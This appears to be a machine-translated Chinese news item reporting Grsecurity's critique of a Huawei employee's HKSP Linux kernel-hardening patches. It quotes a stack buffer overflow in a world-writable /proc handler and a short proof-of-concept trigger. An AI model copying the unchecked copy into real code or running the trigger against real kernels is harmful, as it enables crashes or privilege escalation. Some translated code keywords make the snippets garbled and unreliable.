华为员工为保护Linux内核而提出的补丁中的安全问题

Grsecurity项目的开发商 画了 注意补丁集中是否存在可轻易利用的漏洞 香港科技园 (华为内核自我保护),前几天 建议的 提高Linux内核的安全性。 情况提醒 三星案例,其中提高系统安全性的尝试导致了新漏洞的出现,并使设备更容易受到损害。

HKSP 补丁由华为员工发布,在 GitHub 简介中提到了华为,并在项目名称中使用了华为一词(HKSP - 华为内核自我保护)。 同时,华为代表否认了HKSP项目与公司的联系,并表示该代码是员工个人主动开发的,不是华为官方项目,也没有在公司产品中使用。 在 GitHub 页面 香港SP追溯 发现后 漏洞也 加入 请注意,该项目是我在业余时间出于研究目的而开发的。

HKSP 包括一些更改,例如 cred 结构中偏移量的随机化、防止对用户标识符命名空间(pid 命名空间)的攻击、将进程堆栈与 mmap 区域分离、检测对 kfree 函数的双重调用、通过伪函数阻止泄漏-FS /proc(/proc/ {modules、keys、key-users}、/proc/sys/kernel/* 和 /proc/sys/vm/mmap_min_addr、/proc/kallsyms)、改进的用户空间地址随机化、附加 Ptrace保护、增强的 smap 和 smep 保护、禁止通过原始套接字发送数据、阻止 UDP 套接字中的错误地址以及检查正在运行的进程的完整性的能力。 它还包括 Ksguard 内核模块,旨在检测引入典型 rootkit 的尝试。

补丁 造成 负责维护 Linux 内核稳定分支的 Greg Kroah-Hartman 对此很感兴趣,并要求作者将整体补丁分成几个部分,以简化审查和升级到主内核。 基斯库克,头 项目晋升 Linux内核中的主动保护技术,还 积极 对补丁做出了回应,并在问题中提请注意与 x86 架构的绑定以及许多模式的通知性质,这些模式仅记录有关问题的信息,但不会尝试阻止它。

Grsecurity 开发人员对该补丁的研究揭示了代码中的许多错误和弱点,并且还表明缺乏能够让他们充分判断项目功能的威胁模型。 为了清楚地证明代码是在没有使用安全编程方法的情况下编写的,给出了处理程序中的一个小漏洞的示例。
文件 /proc/ksguard/state 是使用 0777 权限创建的,这意味着每个人都具有写访问权限。 ksg_state_write 函数用于解析写入 /proc/ksguard/state 的命令,创建一个 tmp[32] 缓冲区,根据传递的操作数的大小将数据写入该缓冲区,而不考虑目标缓冲区的大小,也不考虑目标缓冲区的大小。检查参数与字符串大小。 那些。 要覆盖部分内核堆栈,攻击者只需向 /proc/ksguard/state 写入特殊格式的行即可。

static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t 长度,loff_t *偏移量)
{
u64值;
字符 tmp[32];
大小_t n = 0;

if (copy_from_user(tmp, buf, len))
return -1;

值 = simple_strtoul(tmp, '\0', 10);
...

利用原型:

字符 buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
如果(fd >= 0){
写(fd,buf,sizeof(buf));
关闭(fd);
}

来源: opennet.ru

添加评论